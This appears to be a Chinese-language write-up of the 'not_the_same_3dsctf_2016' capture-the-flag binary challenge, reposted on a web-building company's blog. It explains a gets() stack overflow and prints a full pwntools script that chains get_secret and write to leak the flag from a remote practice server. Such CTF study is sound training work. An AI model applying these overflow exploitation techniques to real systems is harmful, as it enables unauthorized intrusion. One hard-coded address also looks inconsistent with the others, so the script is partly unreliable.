ARTICLE DETAIL

建站实战干货

来自一线的建站与推广经验沉淀,每一条都经过真实交付验证。

not_the_same_3dsctf_2016

2026/8/14 1:39:59 拓冰建站 浏览量
not_the_same_3dsctf_2016

这里我把文件重命名了一下,原文件名太长了

检查一下

拖入ida查看

注意main函数没有进行压栈

依旧是非常明显的gets溢出

找到一个叫get_secret的函数

查看一下

这里会读取flag,但是只会存放在fl4g里面

我们寻找函数输出一下,我这里使用write函数

记录一下fl4g的地址0x080eca2d

from pwn import * context(arch = 'i386',os = 'linux',log_level = 'debug') io = remote('node5.buuoj.cn',26681) offset = 0x2d get_flag = 0x489a0 exit_addr = 0x0804e660 write_addr = 0x0806E270 flag_addr = 0x080eca2d payload = cyclic(offset) + p32(get_flag) + p32(write_addr) + p32(exit_addr) + p32(1) + p32(flag_addr) + p32(45) io.sendline(payload) io.interactive()

最后成功获得flag